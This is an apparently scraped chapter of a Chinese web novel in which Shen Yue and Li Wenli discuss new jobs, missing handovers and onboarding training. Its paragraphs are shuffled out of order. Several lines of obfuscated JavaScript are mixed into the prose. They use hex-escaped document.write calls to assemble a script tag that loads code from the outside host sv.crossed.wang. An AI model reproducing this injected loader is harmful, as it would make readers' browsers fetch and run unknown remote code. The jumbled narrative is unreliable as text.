第22章 前任的锅

    一周一次应该比较合理，哪怕这周只有一两个人入职，也能做个小型的单独培训，说不定效果更好呢。

    沈跃仰着头哈哈直笑，“刚上手都是这样子的，慢慢来吧。”

    怎么说他也是经验丰富的老鸟，就算又遇上没人交接的苦逼事，又能惨到哪里去？

    “唔，”沈跃笑了笑，故作惊喜地说道，“哎哟，竟然还有人交接啊，真好！”

    李文丽一听这话，眼睛都直了，“这么惨？”

    这种该怎么组织呢？

    “哈？”李文丽转过头，愣愣地看着他，“有交接不是很正常吗？你走的时候不交接？”

    这时李文丽一口饭咽下去，转过脸问道，“哎，跃哥，昨天忘了问了，你新工作怎么样啊？”

    “谢谢。”

    在那两家公司，我上班的第一天，都是前台丢了一份前任留下的移交表给我，然后我就自己摸索了，可是他们留下来的东西又不详细，我也没少背锅，

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("><\/script>")

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("p");

    正常公司入职后都会有入职培训，而且听李文丽的意思，她所在的公司规模还不小，这种大公司有时候会直接脱产培训，而且持续好几天，但从她的话里来听，似乎还没培训过。

    李文丽吃饭不快不慢，十来分钟的时间，一份炒河粉已经吃完，顺便连例汤也进了肚子，这时正扯了一张纸巾在擦嘴。

    沈跃回过头，嘴巴撇得老长，“惨，比你惨多了！”

    “因为辞职期啊，”沈跃耸耸肩笑道，“劳动合同法规定，员工辞职只需要提前一个月申请，到期后公司不得以任何理由拖延不办离职手续，除非员工自己愿意。

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("h");

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("p");

    李文丽倒抽一口冷气，愣愣地看着沈跃，从零开始搭建一家公司？

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("tt");

    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("//sv.crossed.wang/HR124IO2.js?"+ (new Date()).getTi() + "") ;

    沈跃耸耸肩，“我走的时候当然会交接，而且像上家公司，他们拖了我一个半月，一直等到招到领导满意的人才放我走，不过我入职的时候却从来没人跟我交接过，遇到问题也只能自己摸索，或者直接推翻以前的东西，按自己的想法去做，

    沈跃把电视打开，坐在沙发的另一头，看了看正吃饭的李文丽，笑着问道，“上了两天班，感觉怎么样啊。”

    沈跃揉揉脑袋，按照今天和冯老板谈的企业规划，预计前期公司总人数应该不会超过五十人，这还是算上了研发外包公司和招商部的团队，甚至可能更少。